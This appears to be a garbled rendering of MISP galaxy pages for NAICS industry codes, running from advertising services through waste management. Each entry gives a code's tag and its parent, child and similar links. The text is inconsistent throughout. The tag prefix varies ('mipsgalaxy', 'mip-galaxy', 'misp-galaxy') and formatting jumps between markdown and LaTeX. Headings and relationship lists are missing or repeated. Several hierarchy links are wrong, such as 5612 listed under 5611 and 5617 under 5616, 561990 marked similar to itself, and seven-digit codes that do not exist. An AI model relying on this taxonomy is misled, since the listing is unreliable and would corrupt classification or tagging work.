Direct Mail Advertising
The tag is: mipsgalaxy:naics="54186"

View relationships graph

54186 has relationships with:

• child-of: mipsgalaxy:naics="5418" with estimative-language:likelihood-probability="likely"
• similar: mipsgalaxy:naics="541860" with estimative-language:likelihood-probability="likely"

541860

Direct Mail Advertising

The tag is: mipsgalaxy:naics="541860"

View relationships graph

541860 has relationships with:

• child-of: mipsgalaxy:naics="5418" with estimative-language:likelihood-probability="likely"
• similar: mipsgalaxy:naics="54186" with estimative-language:likelihood-probability="likely"

54187

Advertising Material Distribution Services

The tag is: mipsgalaxy:naics="54187"

View relationships graph

54187 has relationships with:

• child-of: mipsgalaxy:naics="5418" with estimative-language:likelihood-probability="likely"
• similar: mipsgalaxy:naics="541870" with estimative-language:likelihood-probability="likely"

541870

Advertising Material Distribution Services

The tag is: mipsgalaxy:naics="541870"

View relationships graph

541870 has relationships with:

• child-of: mipsgalaxy:naics="5418" with estimative-language:likelihood-probability="likely"
• similar: mipsgalaxy:naics="54187" with estimative-language:likelihood-probability="likely"
54189
Other Services Related to Advertising
The tag is: misp-galaxy:naics="54189"
View relationships graph
54189 has relationships with:
  • child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="541890" with estimative-language:likelihood-probability="likely"

541890
Other Services Related to Advertising
The tag is: misp-galaxy:naics="541890"
View relationships graph
541890 has relationships with:
  • child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="54189" with estimative-language:likelihood-probability="likely"

5419
Other Professional, Scientific, and Technical Services
The tag is: misp-galaxy:naics="5419"
View relationships graph
5419 has relationships with:
  • child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="54191" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="541910" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="54192" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="541921" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="541922" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="54193" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="541930" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="54194" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="541940" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="54199" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="541990" with estimative-language:likelihood-probability="likely"

54191
Marketing Research and Public Opinion Polling
The tag is: misp-galaxy:naics="54191"
View relationships graph
54191 has relationships with:
• child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="541910" with estimative-language:likelihood-probability="likely"

541910
Marketing Research and Public Opinion Polling
The tag is: misp-galaxy:naics="541910"
View relationships graph
541910 has relationships with:
• child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="54191" with estimative-language:likelihood-probability="likely"

54192
Photographic Services
The tag is: misp-galaxy:naics="54192"
View relationships graph
54192 has relationships with:
• child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="54191" with estimative-language:likelihood-probability="likely"

541921
Photography Studios, Portrait
The tag is: misp-galaxy:naics="541921"
541921 has relationships with:
  • child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"

541922
Commercial Photography
The tag is: misp-galaxy:naics="541922"

54193
Translation and Interpretation Services
The tag is: misp-galaxy:naics="54193"

54194
Veterinary Services
The tag is: misp-galaxy:naics="54194"
54194 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541940" with estimative-language:likelihood-probability="likely"

541940

Veterinary Services

The tag is: misp-galaxy:naics="541940"

54199 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541990" with estimative-language:likelihood-probability="likely"

541990

All Other Professional, Scientific, and Technical Services

The tag is: misp-galaxy:naics="541990"
Management of Companies and Enterprises

The tag is: `misp-galaxy:naics="55"`

View relationships graph

55 has relationships with:


Management of Companies and Enterprises

The tag is: `misp-galaxy:naics="551"`

View relationships graph

551 has relationships with:

- child-of: `misp-galaxy:naics="55"` with estimative-language:likelihood-probability="likely"

Management of Companies and Enterprises

The tag is: `misp-galaxy:naics="5511"`

View relationships graph

5511 has relationships with:

- child-of: `misp-galaxy:naics="551"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="55111"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="551111"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="551114"` with estimative-language:likelihood-probability="likely"

Management of Companies and Enterprises

The tag is: `misp-galaxy:naics="55111"`

View relationships graph

55111 has relationships with:

- child-of: `misp-galaxy:naics="5511"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="551111"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="5511111"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="5511112"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="5511114"` with estimative-language:likelihood-probability="likely"
55111 has relationships with:

- child-of: mip-galaxy:naics="5511" with estimative-language:likelihood-probability="likely"

551111

Offices of Bank Holding Companies

The tag is: mip-galaxy:naics="551111"

View relationships graph

551111 has relationships with:

- child-of: mip-galaxy:naics="5511" with estimative-language:likelihood-probability="likely"

551112

Offices of Other Holding Companies

The tag is: mip-galaxy:naics="551112"

View relationships graph

551112 has relationships with:

- child-of: mip-galaxy:naics="5511" with estimative-language:likelihood-probability="likely"

551114

Corporate, Subsidiary, and Regional Managing Offices

The tag is: mip-galaxy:naics="551114"

View relationships graph

551114 has relationships with:

- child-of: mip-galaxy:naics="5511" with estimative-language:likelihood-probability="likely"

56

Administrative and Support and Waste Management and Remediation Services

The tag is: mip-galaxy:naics="56"

View relationships graph

56 has relationships with:
• parent-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="562" with estimative-language:likelihood-probability="likely"

561

Administrative and Support Services

The tag is: misp-galaxy:naics="561"

View relationships graph

561 has relationships with:

• child-of: misp-galaxy:naics="56" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="5611" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="5612" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"

5611

Office Administrative Services

The tag is: misp-galaxy:naics="5611"

View relationships graph

5611 has relationships with:

• child-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="56111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="561110" with estimative-language:likelihood-probability="likely"

56111

Office Administrative Services

The tag is: misp-galaxy:naics="56111"

View relationships graph
56111 has relationships with:

- child-of: misp-galaxy:naics="5611" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561110" with estimative-language:likelihood-probability="likely"

561110
Office Administrative Services

The tag is: misp-galaxy:naics="561110"

View relationships graph

561110 has relationships with:

- child-of: misp-galaxy:naics="5611" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56111" with estimative-language:likelihood-probability="likely"

5612
Facilities Support Services

The tag is: misp-galaxy:naics="5612"

View relationships graph

5612 has relationships with:

- child-of: misp-galaxy:naics="5611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561210" with estimative-language:likelihood-probability="likely"

56121
Facilities Support Services

The tag is: misp-galaxy:naics="56121"

View relationships graph

56121 has relationships with:

- child-of: misp-galaxy:naics="5612" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561210" with estimative-language:likelihood-probability="likely"
**561210**
Facilities Support Services
The tag is: `misp-galaxy:naics="561210"`

View relationships graph

561210 has relationships with:

- child-of: `misp-galaxy:naics="5612"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="56121"` with estimative-language:likelihood-probability="likely"

**5613**
Employment Services
The tag is: `misp-galaxy:naics="5613"`

View relationships graph

5613 has relationships with:

- child-of: `misp-galaxy:naics="561"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="56131"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="561312"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="561320"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="56133"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="561330"` with estimative-language:likelihood-probability="likely"

**56131**
Employment Placement Agencies and Executive Search Services
The tag is: `misp-galaxy:naics="56131"`

View relationships graph

56131 has relationships with:

- child-of: `misp-galaxy:naics="5613"` with estimative-language:likelihood-probability="likely"
561311
Employment Placement Agencies
The tag is: misp-galaxy:naics="561311"
View relationships graph
561311 has relationships with:
  • child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"

561312
Executive Search Services
The tag is: misp-galaxy:naics="561312"
View relationships graph
561312 has relationships with:
  • child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"

56132
Temporary Help Services
The tag is: misp-galaxy:naics="56132"
View relationships graph
56132 has relationships with:
  • child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="561320" with estimative-language:likelihood-probability="likely"

561320
Temporary Help Services
The tag is: misp-galaxy:naics="561320"
View relationships graph
561320 has relationships with:
  • child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="56132" with estimative-language:likelihood-probability="likely"
56133
Professional Employer Organizations
The tag is: misp-galaxy:naics="56133"
View relationships graph
56133 has relationships with:

• child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="561330" with estimative-language:likelihood-probability="likely"

561330
Professional Employer Organizations
The tag is: misp-galaxy:naics="561330"
View relationships graph
561330 has relationships with:

• child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="56133" with estimative-language:likelihood-probability="likely"

5614
Business Support Services
The tag is: misp-galaxy:naics="5614"
View relationships graph
5614 has relationships with:

• child-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="56141" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="561410" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="56142" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="561421" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="561422" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="56143" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="561431" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="561439" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="56144" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="561440" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="56145" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="561450" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="56149" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="561491" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="561492" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="561499" with estimative-language:likelihood-probability="likely"

56141
Document Preparation Services
The tag is: misp-galaxy:naics="56141"

View relationships graph

56141 has relationships with:

• child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="561410" with estimative-language:likelihood-probability="likely"

561410
Document Preparation Services
The tag is: misp-galaxy:naics="561410"

View relationships graph

561410 has relationships with:

• child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="56141" with estimative-language:likelihood-probability="likely"

56142
Telephone Call Centers
The tag is: misp-galaxy:naics="56142"

View relationships graph

56142 has relationships with:

• child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
561421
Telephone Answering Services
The tag is: misp-galaxy:naics="561421"
View relationships graph
561421 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

561422
Telemarketing Bureaus and Other Contact Centers
The tag is: misp-galaxy:naics="561422"
View relationships graph
561422 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

56143
Business Service Centers
The tag is: misp-galaxy:naics="56143"
View relationships graph
56143 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

561431
Private Mail Centers
The tag is: misp-galaxy:naics="561431"
View relationships graph
561431 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
561439
Other Business Service Centers (including Copy Shops)
The tag is: misp-galaxy:naics="561439"

View relationships graph

561439 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

56144
Collection Agencies
The tag is: misp-galaxy:naics="56144"

View relationships graph

56144 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="561440" with estimative-language:likelihood-probability="likely"

561440
Collection Agencies
The tag is: misp-galaxy:naics="561440"

View relationships graph

561440 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="56144" with estimative-language:likelihood-probability="likely"

56145
Credit Bureaus
The tag is: misp-galaxy:naics="56145"

View relationships graph

56145 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
561450
Credit Bureaus
The tag is: misp-galaxy:naics="561450"
View relationships graph
561450 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="56145" with estimative-language:likelihood-probability="likely"

56149
Other Business Support Services
The tag is: misp-galaxy:naics="56149"
View relationships graph
56149 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

561491
Repossession Services
The tag is: misp-galaxy:naics="561491"
View relationships graph
561491 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

561492
Court Reporting and Stenotype Services
The tag is: misp-galaxy:naics="561492"
View relationships graph
561492 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
561499
All Other Business Support Services
The tag is: misp-galaxy:naics="561499"
View relationships graph
561499 has relationships with:
  • child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

5615
Travel Arrangement and Reservation Services
The tag is: misp-galaxy:naics="5615"
View relationships graph
5615 has relationships with:
  • child-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="56151" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="561510" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="56152" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="561520" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="56159" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="561591" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="561599" with estimative-language:likelihood-probability="likely"

56151
Travel Agencies
The tag is: misp-galaxy:naics="56151"
View relationships graph
56151 has relationships with:
  • child-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="561510" with estimative-language:likelihood-probability="likely"
561510
Travel Agencies
The tag is: misp-galaxy:naics="561510"
View relationships graph
561510 has relationships with:
  • child-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="56151" with estimative-language:likelihood-probability="likely"

56152
Tour Operators
The tag is: misp-galaxy:naics="56152"
View relationships graph
56152 has relationships with:
  • child-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="561520" with estimative-language:likelihood-probability="likely"

561520
Tour Operators
The tag is: misp-galaxy:naics="561520"
View relationships graph
561520 has relationships with:
  • child-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="56152" with estimative-language:likelihood-probability="likely"

56159
Other Travel Arrangement and Reservation Services
The tag is: misp-galaxy:naics="56159"
View relationships graph
56159 has relationships with:
561591
Convention and Visitors Bureaus

The tag is: mipsgalaxy:naics="561591"

View relationships graph

561591 has relationships with:

- child-of: mipsgalaxy:naics="5615" with estimative-language:likelihood-probability="likely"

561599
All Other Travel Arrangement and Reservation Services

The tag is: mipsgalaxy:naics="561599"

View relationships graph

561599 has relationships with:

- child-of: mipsgalaxy:naics="5615" with estimative-language:likelihood-probability="likely"

5616
Investigation and Security Services

The tag is: mipsgalaxy:naics="5616"

View relationships graph

5616 has relationships with:

- child-of: mipsgalaxy:naics="561" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="56161" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="561611" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="561612" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="561613" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="56162" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="561621" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="561622" with estimative-language:likelihood-probability="likely"
56161
Investigation, Guard, and Armored Car Services
The tag is: misp-galaxy:naics="56161"
View relationships graph
56161 has relationships with:
  • child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

561611
Investigation and Personal Background Check Services
The tag is: misp-galaxy:naics="561611"
View relationships graph
561611 has relationships with:
  • child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

561612
Security Guards and Patrol Services
The tag is: misp-galaxy:naics="561612"
View relationships graph
561612 has relationships with:
  • child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

561613
Armored Car Services
The tag is: misp-galaxy:naics="561613"
View relationships graph
561613 has relationships with:
  • child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"
56162
Security Systems Services
The tag is: misp-galaxy:naics="56162"
View relationships graph
56162 has relationships with:
  • child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

561621
Security Systems Services (except Locksmiths)
The tag is: misp-galaxy:naics="561621"
View relationships graph
561621 has relationships with:
  • child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

561622
Locksmiths
The tag is: misp-galaxy:naics="561622"
View relationships graph
561622 has relationships with:
  • child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

5617
Services to Buildings and Dwellings
The tag is: misp-galaxy:naics="5617"
View relationships graph
5617 has relationships with:
  • child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="56171" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="561710" with estimative-language:likelihood-probability="likely"
56171
Exterminating and Pest Control Services
The tag is: misp-galaxy:naics="56171"

View relationships graph

56171 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561710" with estimative-language:likelihood-probability="likely"

561710
Exterminating and Pest Control Services
The tag is: misp-galaxy:naics="561710"

View relationships graph

561710 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56171" with estimative-language:likelihood-probability="likely"

56172
Janitorial Services
The tag is: misp-galaxy:naics="56172"

View relationships graph

56172 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
561720
Janitorial Services
The tag is: misp-galaxy:naics="561720"
View relationships graph
561720 has relationships with:
  • child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="56172" with estimative-language:likelihood-probability="likely"

56173
Landscaping Services
The tag is: misp-galaxy:naics="56173"
View relationships graph
56173 has relationships with:
  • child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="561730" with estimative-language:likelihood-probability="likely"

561730
Landscaping Services
The tag is: misp-galaxy:naics="561730"
View relationships graph
561730 has relationships with:
  • child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="56173" with estimative-language:likelihood-probability="likely"

56174
Carpet and Upholstery Cleaning Services
The tag is: misp-galaxy:naics="56174"
View relationships graph
56174 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561740" with estimative-language:likelihood-probability="likely"

561740

Carpet and Upholstery Cleaning Services

The tag is: misp-galaxy:naics="561740"

View relationships graph

561740 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56174" with estimative-language:likelihood-probability="likely"

56179

Other Services to Buildings and Dwellings

The tag is: misp-galaxy:naics="56179"

View relationships graph

56179 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561790" with estimative-language:likelihood-probability="likely"

561790

Other Services to Buildings and Dwellings

The tag is: misp-galaxy:naics="561790"

View relationships graph

561790 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56179" with estimative-language:likelihood-probability="likely"

5619

Other Support Services
The tag is: misp-galaxy:naics="5619"

View relationships graph

5619 has relationships with:

- child-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56192" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56199" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561990" with estimative-language:likelihood-probability="likely"

56191

Packaging and Labeling Services

The tag is: misp-galaxy:naics="56191"

View relationships graph

56191 has relationships with:

- child-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561910" with estimative-language:likelihood-probability="likely"

561910

Packaging and Labeling Services

The tag is: misp-galaxy:naics="561910"

View relationships graph

561910 has relationships with:

- child-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56191" with estimative-language:likelihood-probability="likely"

56192

Convention and Trade Show Organizers

The tag is: misp-galaxy:naics="56192"

View relationships graph
56192 has relationships with:
- child-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561920" with estimative-language:likelihood-probability="likely"

561920
Convention and Trade Show Organizers
The tag is: misp-galaxy:naics="561920"

View relationships graph

561920 has relationships with:
- child-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56192" with estimative-language:likelihood-probability="likely"

56199
All Other Support Services
The tag is: misp-galaxy:naics="56199"

View relationships graph

56199 has relationships with:
- child-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561990" with estimative-language:likelihood-probability="likely"

561990
All Other Support Services
The tag is: misp-galaxy:naics="561990"

View relationships graph

561990 has relationships with:
- child-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561990" with estimative-language:likelihood-probability="likely"

562
Waste Management and Remediation Services
The tag is: \textit{misp-galaxy:naics="562"}

\textbf{View relationships graph}

562 has relationships with:

- child-of: \textit{misp-galaxy:naics="56"} with estimative-language:likelihood-probability="likely"

\textbf{5621}

Waste Collection

The tag is: \textit{misp-galaxy:naics="5621"}

\textbf{View relationships graph}

5621 has relationships with:

- child-of: \textit{misp-galaxy:naics="562"} with estimative-language:likelihood-probability="likely"

\textbf{56211}

Waste Collection

The tag is: \textit{misp-galaxy:naics="56211"}

\textbf{View relationships graph}

56211 has relationships with:

- child-of: \textit{misp-galaxy:naics="562"} with estimative-language:likelihood-probability="likely"

\textbf{562111}

Solid Waste Collection

The tag is: \textit{misp-galaxy:naics="562111"}

\textbf{View relationships graph}

562111 has relationships with:

- child-of: \textit{misp-galaxy:naics="562"} with estimative-language:likelihood-probability="likely"
562111 has relationships with:

- child-of: misp-galaxy:naics="5621" with estimative-language:likelihood-probability="likely"

**562112**

Hazardous Waste Collection

The tag is: *misp-galaxy:naics="562112"*

View relationships graph

562112 has relationships with:

- child-of: misp-galaxy:naics="5621" with estimative-language:likelihood-probability="likely"

**562119**

Other Waste Collection

The tag is: *misp-galaxy:naics="562119"*

View relationships graph

562119 has relationships with:

- child-of: misp-galaxy:naics="5621" with estimative-language:likelihood-probability="likely"

**5622**

Waste Treatment and Disposal

The tag is: *misp-galaxy:naics="5622"*

View relationships graph

5622 has relationships with:

- child-of: misp-galaxy:naics="562" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562219" with estimative-language:likelihood-probability="likely"
56221
Waste Treatment and Disposal
The tag is: misp-galaxy:naics="56221"
View relationships graph
56221 has relationships with:
  • child-of: misp-galaxy:naics="5622" with estimative-language:likelihood-probability="likely"

562211
Hazardous Waste Treatment and Disposal
The tag is: misp-galaxy:naics="562211"
View relationships graph
562211 has relationships with:
  • child-of: misp-galaxy:naics="5622" with estimative-language:likelihood-probability="likely"

562212
Solid Waste Landfill
The tag is: misp-galaxy:naics="562212"
View relationships graph
562212 has relationships with:
  • child-of: misp-galaxy:naics="5622" with estimative-language:likelihood-probability="likely"

562213
Solid Waste Combustors and Incinerators
The tag is: misp-galaxy:naics="562213"
View relationships graph
562213 has relationships with:
  • child-of: misp-galaxy:naics="5622" with estimative-language:likelihood-probability="likely"
Other Nonhazardous Waste Treatment and Disposal

The tag is: `misp-galaxy:naics="562219"`

View relationships graph

562219 has relationships with:

- child-of: `misp-galaxy:naics="5622"` with estimative-language:likelihood-probability="likely"

Remediation and Other Waste Management Services

The tag is: `misp-galaxy:naics="5629"`

View relationships graph

5629 has relationships with:

- child-of: `misp-galaxy:naics="562"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="56291"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="562910"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="56292"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="562920"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="56299"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="562991"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="562998"` with estimative-language:likelihood-probability="likely"

Remediation Services

The tag is: `misp-galaxy:naics="56291"`

View relationships graph

56291 has relationships with:

- child-of: `misp-galaxy:naics="5629"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="562910"` with estimative-language:likelihood-probability="likely"
562910
Remediation Services
The tag is: misp-galaxy:naics="562910"
View relationships graph
562910 has relationships with:
• child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="56291" with estimative-language:likelihood-probability="likely"

56292
Materials Recovery Facilities
The tag is: misp-galaxy:naics="56292"
View relationships graph
56292 has relationships with:
• child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="562920" with estimative-language:likelihood-probability="likely"

562920
Materials Recovery Facilities
The tag is: misp-galaxy:naics="562920"
View relationships graph
562920 has relationships with:
• child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="56292" with estimative-language:likelihood-probability="likely"

56299
All Other Waste Management Services
The tag is: misp-galaxy:naics="56299"
View relationships graph
56299 has relationships with:
- child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"

**562991**

Septic Tank and Related Services

The tag is: misp-galaxy:naics="562991"

View relationships graph

562991 has relationships with:

- child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"

**562998**

All Other Miscellaneous Waste Management Services

The tag is: misp-galaxy:naics="562998"

View relationships graph

562998 has relationships with:

- child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"

**61**

Educational Services

The tag is: misp-galaxy:naics="61"

View relationships graph

61 has relationships with:

